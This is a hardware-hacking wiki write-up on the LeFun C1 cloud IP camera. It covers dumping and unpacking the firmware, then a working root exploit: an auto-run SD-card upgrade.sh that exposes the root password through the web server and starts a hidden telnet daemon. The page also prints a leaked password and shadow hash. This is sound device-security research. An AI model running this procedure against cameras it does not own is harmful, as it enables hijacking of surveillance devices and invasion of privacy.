LeFun Cloud IPCam

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"Although the information we release has been verified and shown to work to the best our knowledge, we cant be held accountable for bricked devices or roots gone wrong."

Cloudipcam store.png

This page will be dedicated to a general overview, descriptions, and information related to the LeFun C1 wireless surveillance camera.

About

The LeFun C1 wireless surveillance camera is a network (Wifi/Ethernet) camera w/ IR LEDs provided by LeFun and available on Amazon.com.

Disassembly

The base of the camera is attached with four small phillips screws hidden under silicone rubber feet. Remove all four, the base and board should be open to you.

UART

A Login Console is presented on UART (3.3v) at 38400 baud. The pinout for UART can be found below.

Exploitation

U-Boot is available on boot and can probably be init hijacked, thankfully there is a better option that does not require access to the internals.

Cloudipcam mxic25l12835f.jpg

The firmware on this model was not available for download elsewhere and I didn't feel like waiting on the firmware to download over the uart at 38.4k baud so we will resort to the hot air and minipro TL866CS. SPI flash model mxic25l12835f was removed and dumped, the issue I had was that from 0x0 to 0xC00000 every 4 bytes were swapped.

Firmware Format

Raw data from the chip has an interesting patern to it.

From U-Boot

=> md.b 0x02000000 130
02000000: 47 4d 38 31 32 36 00 00 00 00 01 00 00 00 01 00    GM8126..........
02000010: 00 00 0b 00 00 00 0d 00 00 00 00 00 00 00 00 00    ................
02000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
02000030: 00 00 00 00 08 00 00 00 0c 00 00 00 18 00 00 00    ................
02000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
02000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
02000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
02000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
02000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
02000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
020000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
020000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
020000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
020000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
020000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
020000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa    ..............U.
02000100: fa f8 bb f0 ba ba e7 70 5a be 03 aa 0a ea ae ba    .......pZ.......
02000110: 22 f3 7a ff ba 2d 08 aa f7 aa 2a 3c fa bb aa 9e    ".z..-....*<....
02000120: 80 2e ea fd b9 ea c2 b5 ec ab 6a ba 8f aa ba ab    ..........j.....

Dumped from the chip.

[email protected]:~/cloudipcamera$ hd cloudipcamera_mxic25l12835f.BIN | head -n 15
00000000  31 38 4d 47 00 00 36 32  00 01 00 00 00 01 00 00  |18MG..62........|
00000010  00 0b 00 00 00 0d 00 00  00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 08  00 00 00 0c 00 00 00 18  |................|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
000000f0  00 00 00 00 00 00 00 00  00 00 00 00 aa 55 00 00  |.............U..|
00000100  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
*
00001000  80 5a 47 4d 00 00 00 00  00 00 29 18 00 00 00 00  |.ZGM......).....|
00001010  6f 62 73 6e 62 2e 74 6f  00 00 6e 69 00 00 00 00  |obsnb.to..ni....|
00001020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00001100  ea 00 00 0e e5 9f f0 14  e5 9f f0 14 e5 9f f0 14  |................|
00001110  e5 9f f0 14 e1 a0 00 00  e5 9f f0 10 e5 9f f0 10  |................|

Lets reorder the bytes.

objcopy -I binary -O binary --reverse-bytes=4 cloudipcamera_mxic25l12835f.BIN cloudipcamera_mxic25l12835f.BIN.swapped

Merging the two halves together gives us the entire image.

[email protected]:~/cloudipcamera$ binwalk cloudipcamera_mxic25l12835f.BIN.merged 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
809008        0xC5830         CRC32 polynomial table, little endian
852224        0xD0100         Linux kernel ARM boot executable zImage (little-endian)
865293        0xD340D         gzip compressed data, maximum compression, from Unix, last modified: 2015-10-23 07:16:16
12582912      0xC00000        JFFS2 filesystem, little endian

Filesystem

The notable data includes the root filesystem.

[email protected]:[email protected].extracted$ ls
D340D             D8B3E4  D8BA40  D8BF44  D8CE50  DC11AC  DC15E4  DC1AF4  E7C814  E7CC44  ED5158  ED565C  ED5BAC  FB50C0  FFE67C        jffs2-root-1   jffs2-root-3  jffs2-root-8
_D340D.extracted  D8B514  D8BC0C  D8C670  D8CEFC  DC12AC  DC16E8  DC1BC0  E7C90C  E7CD44  ED5324  ED5754  ED5CD8  FB51EC  FFEAB0        jffs2-root-10  jffs2-root-4  jffs2-root-9
D8B0BC            D8B640  D8BD04  D8CBC4  D8D4E8  DC1340  DC180C  E7C050  E7CA0C  E7CE48  ED541C  ED5854  ED5D64  FB5278  FFEDFC        jffs2-root-11  jffs2-root-5
D8B1BC            D8B6CC  D8BE04  D8CCBC  D8E460  DC13EC  DC193C  E7C198  E7CAA0  E7CF6C  ED551C  ED5958  ED5E30  FB5344  jffs2-root    jffs2-root-12  jffs2-root-6
D8B2C0            D8B938  D8BE98  D8CDBC  DC10B4  DC14E4  DC1A68  E7C5B0  E7CB4C  ED5050  ED55B0  ED5A7C  ED5F38  FFE230  jffs2-root-0  jffs2-root-2   jffs2-root-7
[email protected]:[email protected].extracted$ ls _D340D.extracted/
1A100  _1A100.extracted  9FD828
[email protected]:[email protected].extracted$ ls _D340D.extracted/_1A100.extracted/
168.cpio  cpio-root
[email protected]:[email protected].extracted$ ls _D340D.extracted/_1A100.extracted/cpio-root/
bin  dev  etc  init  lib  mnt  proc  project  root  sbin  sys  tmp  usr  var
[email protected]:[email protected].extracted$ ls _D340D.extracted/_1A100.extracted/cpio-root/root/
welcome.txt
[email protected]:[email protected].extracted$ cat _D340D.extracted/_1A100.extracted/cpio-root/root/welcome.txt 
welcome to (c)shenzhen mining mipc world!
enjoy it!

And the config storage.

[email protected]:[email protected].extracted$ ls jffs2-root/fs_1/ -R
jffs2-root/fs_1/:
dev_data  ipc_data  latest_dhcp_ip_eth0  system_data

jffs2-root/fs_1/dev_data:
system_config

jffs2-root/fs_1/ipc_data:
8188eu_ap_2G.conf  aec_amr.xml            ao0.xml   buildinfo.xml   io_alert.xml   motion_alert.xml     ntp_info.xml       ptz0.xml            RT2870AP.dat         vec_half.xml    vs0.xml
action_conf.xml    aec_g711.xml           aoc0.xml  data_version    ipc_conf.xml   motion_ex_alert.xml  osd_show_time.xml  ptz.xml             RT2870STA_adhoc.dat  vec_hd.xml      vsc0.xml
active_server.xml  aec_g726.xml           ap.conf   default_gw.xml  license.xml    net_info.sh          pass.mp            ra0.xml             RT2870STA_infra.dat  vec_jpeg.xml
aec_aac.xml        alarm.xml              as0.xml   dps             localtime      net_info.xml         pass.up            recording_root.xml  sd_conf.xml          vec_min.xml
aec_adpcm.xml      alert_device_conf.xml  asc3.xml  eth0.xml        mediainfo.xml  nick_conf.xml        proxy.xml          recording_task.xml  server.xml           vec_normal.xml

jffs2-root/fs_1/ipc_data/dps:
cacs

jffs2-root/fs_1/ipc_data/dps/cacs:
61646d696e02

jffs2-root/fs_1/system_data:

Theres also an archive in /project on the root filesystem.

[email protected]:[email protected].extracted/_D340D.extracted/_1A100.extracted/cpio-root$ ls -laht project/

total 3.2M
drwxr-xr-x  2 rjmendez rjmendez 4.0K Apr 20 12:17 .
-rwxr-xr-x  1 rjmendez rjmendez 3.2M Apr 20 12:17 ipc_project_v1.9.5.1510231507.rtl8188.tar.lzma
-rwxr-xr-x  1 rjmendez rjmendez   11 Apr 20 12:17 tar.crc
drwxrwxr-x 15 rjmendez rjmendez 4.0K Apr 20 12:17 ..
-rwxr-xr-x  1 rjmendez rjmendez  135 Apr 20 12:17 buildinfo.xml

Its called by the init script in /etc/init.d/dev_init.sh

#prepare project
unlzma -c /project/*.tar.lzma > /tmp/project.tar
rm /project/*.tar.lzma

...

tar -xvf /tmp/project.tar -C /project/
rm -rf /tmp/project.tar
chmod -R 777 /project

#dev_start
if [ -e /mnt/mtd/flag_debug_dev_start ]; then
    echo "[`date '+%Y-%m-%d %H:%M:%S'` dev_init.sh]" /mnt/mtd/flag_debug_dev_start existed
else
    echo "[`date '+%Y-%m-%d %H:%M:%S'` dev_init.sh]" run /project/apps/app/ipc/data/sh/dev_start.sh
    cd /project/apps/app/ipc/data/sh
    ./dev_start.sh
fi

Extracting it all gives us this.

[email protected]:[email protected].extracted/_D340D.extracted/_1A100.extracted/cpio-root/project$ unlzma -c ipc_project_v1.9.5.1510231507.rtl8188.tar.lzma > project.tar
[email protected]:[email protected].extracted/_D340D.extracted/_1A100.extracted/cpio-root/project$ tar -xf project.tar
[email protected]:[email protected].extracted/_D340D.extracted/_1A100.extracted/cpio-root/project$ ls -laht
total 14M
drwxr-xr-x  5 rjmendez rjmendez 4.0K Apr 20 14:03 .
-rw-rw-r--  1 rjmendez rjmendez  11M Apr 20 14:02 project.tar
-rwxr-xr-x  1 rjmendez rjmendez 3.2M Apr 20 12:17 ipc_project_v1.9.5.1510231507.rtl8188.tar.lzma
-rwxr-xr-x  1 rjmendez rjmendez   11 Apr 20 12:17 tar.crc
drwxrwxr-x 15 rjmendez rjmendez 4.0K Apr 20 12:17 ..
-rwxr-xr-x  1 rjmendez rjmendez  135 Apr 20 12:17 buildinfo.xml
drwxr-xr-x  3 rjmendez rjmendez 4.0K Oct 23  2015 apps
drwxr-xr-x  3 rjmendez rjmendez 4.0K Oct 23  2015 platforms
drwxr-xr-x  3 rjmendez rjmendez 4.0K Oct 23  2015 faraday
-rw-r--r--  1 rjmendez rjmendez    2 Oct 23  2015 kernel_version

Tons of good data in here!

Gaining root

We have a great entry point as well inside of /project/apps/app/ipc/data/sh/sd_card_insert.sh.

#!/bin/sh

#mount sd_card
if [ ! -d /mnt/sd ]; then
    /bin/mkdir /mnt/sd
fi
mount -o noatime,nodiratime,norelatime -t vfat /dev/mmcblk0p1 /mnt/sd

#run hook
if [ -e /mnt/sd/upgrade/upgrade.sh ]; then
chmod 777 /mnt/sd/upgrade/upgrade.sh
sh /mnt/sd/upgrade/upgrade.sh &
fi

wget http://127.0.0.1:80/ccm/CcmNotifyRequest/-dvalue-1.xml -O 1.xml

rm -f 1.xml

What the hell is going on in /project/apps/app/ipc/data/sh/dev_passwd.sh?

path_prompt=/tmp/prompt.debug
path_pass=/tmp/pass.debug

...

#Generate ctx if needed
if [ -z $ctx ]; then
    ctx_file=/tmp/ctx.dev
    if [ -e $ctx_file ]; then
        read ctx < $ctx_file
    fi

    if [ -z $ctx ]; then
        ctx=$RANDOM
        echo $ctx > $ctx_file
    fi
fi

...

${bindir}/mipc_tool -cmd pass -devid ${devid} -prompt ${path_prompt} -pass ${path_pass}

...

read pass < $path_pass
read prompt < $path_prompt
echo "pass=${pass}, prompt=${prompt}"
/bin/hostname ${prompt}${promp_eth}${promp_wifi}
echo "root:${pass}"|chpasswd

It looks like they are generating a new root password after rebooting. Everything is still running as root and the password is in a file at /tmp/pass.debug, we should be able to get in over the serial line but that’s not very sexy. A look into /project/apps/app/ipc/data/sh/dev_telnet.sh gives us another option.

#!/bin/sh

port=9527
file_flag=/mnt/mtd/flag_debug_telnet
if [ -e ${file_flag} ]; then
    mode=on
fi

usage()
{
    echo Usage:$0 [-m,--mode on/off] [-h,--help]
    exit
}

ARGS=`getopt -a -o m:h -l mode:,help -- "$@"`

#set -- "${ARGS}"
eval set -- "${ARGS}"

while true
do
        case "$1" in
        -m|--mode)
                mode="$2"
                shift
                ;;
        -h|--help)
                usage
                ;;
        --)
                shift
                break
                ;;
        esac
shift
done

if [ x"${mode}" == xon ]; then
    if [ ! -e ${file_flag} ]; then
        touch ${file_flag}
    fi

    if [ "" == "`ps -w | grep telnet | grep ${port} | grep -v grep`" ]; then
        telnetd -p ${port} &
    fi
elif [ x"${mode}" == xoff ]; then
    if [ -e ${file_flag} ]; then
        rm ${file_flag}
    fi

    ps w| grep telnetd | grep ${port} | grep -v -E "grep" | while read line
    do
        pid=${line%% *}
        kill -9 $pid
    done
fi

Well well well… Lets create an upgrade folder and throw in this script inside of upgrade.sh on our vfat formatted micro sd card.

#!/bin/sh
sleep 45
cd /project/apps/app/ipc/data/http/ && ln -s /tmp &
/project/apps/app/ipc/data/sh/dev_telnet.sh -m on

After a little bit we should see this show up on the web server.

[email protected]:~/cloudipcamera$ curl http://192.168.187.254/tmp/pass.debug
264e37dcd841b35344c68e8f95dc8b11

And then we can try telnet on the nonstandard debug port.

[email protected]:~/cloudipcamera$ telnet 192.168.187.254 9527
Trying 192.168.187.254...
Connected to 192.168.187.254.
Escape character is '^]'.

[email protected]@[email protected]@[email protected] login: root
Password: 
|---------------------------------------------------------------------------|
|                    A                                                      |
|                   AAA                                                     |
|                  AAAAA                                                    |
|                 AAAAAAA                                                   |
|                AAAA   AA                                                  |
|         A     AAAA     AA                                                 |
|        AAA   AAAA       AA          AAA   AAAAA    AAA   AAAAA    AAAAA   |
|       AAAAA AAAA         AA              AA   AA        AA   AA  AA   AA  |
|      AAAAAAAAAA           AA        AAA  AA   AA   AAA  AA   AA  AA   AA  |
|     AAAAA AAAA             AA       AAA  AA   AA   AAA  AA   AA  AA   AA  |
|    AAAAA    A               AA      AAA  AA   AA   AAA  AA   AA   AAAAAA  |
|   AAAAA                      AA     AAA  AA   AA   AAA  AA   AA       AA  |
| AAAAAA                        AAAA  AAA  AA   AA   AAA  AA   AA  AAAAAA   |
|===========================================================================|
|                                                                           |
|                                             http://www.shenzhenmining.com |
|                                           power by (C)shenzhenmining 2012 |
|---------------------------------------------------------------------------|
[[email protected]@[email protected]@[email protected]@w.192.168.188.254]# echo "Root password is '264e37dcd841b35344c68e8f95dc8b11'"
Root password is '264e37dcd841b35344c68e8f95dc8b11'
[[email protected]@[email protected]@[email protected]@w.192.168.188.254]# ls -l /root
-rwxr-xr-x    1 root     root           54 Oct 23  2015 welcome.txt
[[email protected]@[email protected]@[email protected]@w.192.168.188.254]# cat /root/welcome.txt 
welcome to (c)shenzhen mining mipc world!
enjoy it!
[[email protected]@[email protected]@[email protected]@w.192.168.188.254]# cat /etc/passwd
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
adm:x:3:4:adm:/adm:/bin/sh
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
sync:x:5:0:sync:/bin:/bin/sync
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
operator:x:11:0:Operator:/var:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
[[email protected]@[email protected]@[email protected]@w.192.168.188.254]# cat /etc/shadow
root:S5Ada/QN0yHBo:12963:0:99999:7:::
bin:*:12963:0:99999:7:::
daemon:*:12963:0:99999:7:::
adm:*:12963:0:99999:7:::
lp:*:12963:0:99999:7:::
sync:*:12963:0:99999:7:::
shutdown:*:12963:0:99999:7:::
halt:*:12963:0:99999:7:::
uucp:*:12963:0:99999:7:::
operator:*:12963:0:99999:7:::
nobody:*:12963:0:99999:7:::

This device has never been connected to the internet, lets see what’s running on it.

[[email protected]@[email protected]@[email protected]@w.192.168.188.254]# ps | grep mipc
  600 root      2532 S    ./mipc_tool -cmd wd -len 20 
  826 root      2664 S    ./mipc_tool -cmd debug -server 1 
  945 root      2664 S    ./mipc_tool -cmd led -dev eth -interval 500 
  987 root      2664 S    ./mipc_tool -cmd led -dev wifi -interval 500 
 1009 root      2668 S    ./mipc_tool -cmd led -dev single -interval 500 
 1015 root      2664 S    ./mipc_tool -cmd click_listen 
 1063 root      2668 S    ../../../../../platforms/faraday-linux-armv5/bin/mipc_tool -cmd tcpproxy --passive-remote 127.0.0.1:23 --remote 218.14.146.199:7024:/tmp/tcp_post.txt --header-notify-file
 1179 root     54140 S    ./mipc -cont-conf ../../../apps/app/ipc/conf/container.conf 

Future

We need to look into mipc_tool and the mipc program itself.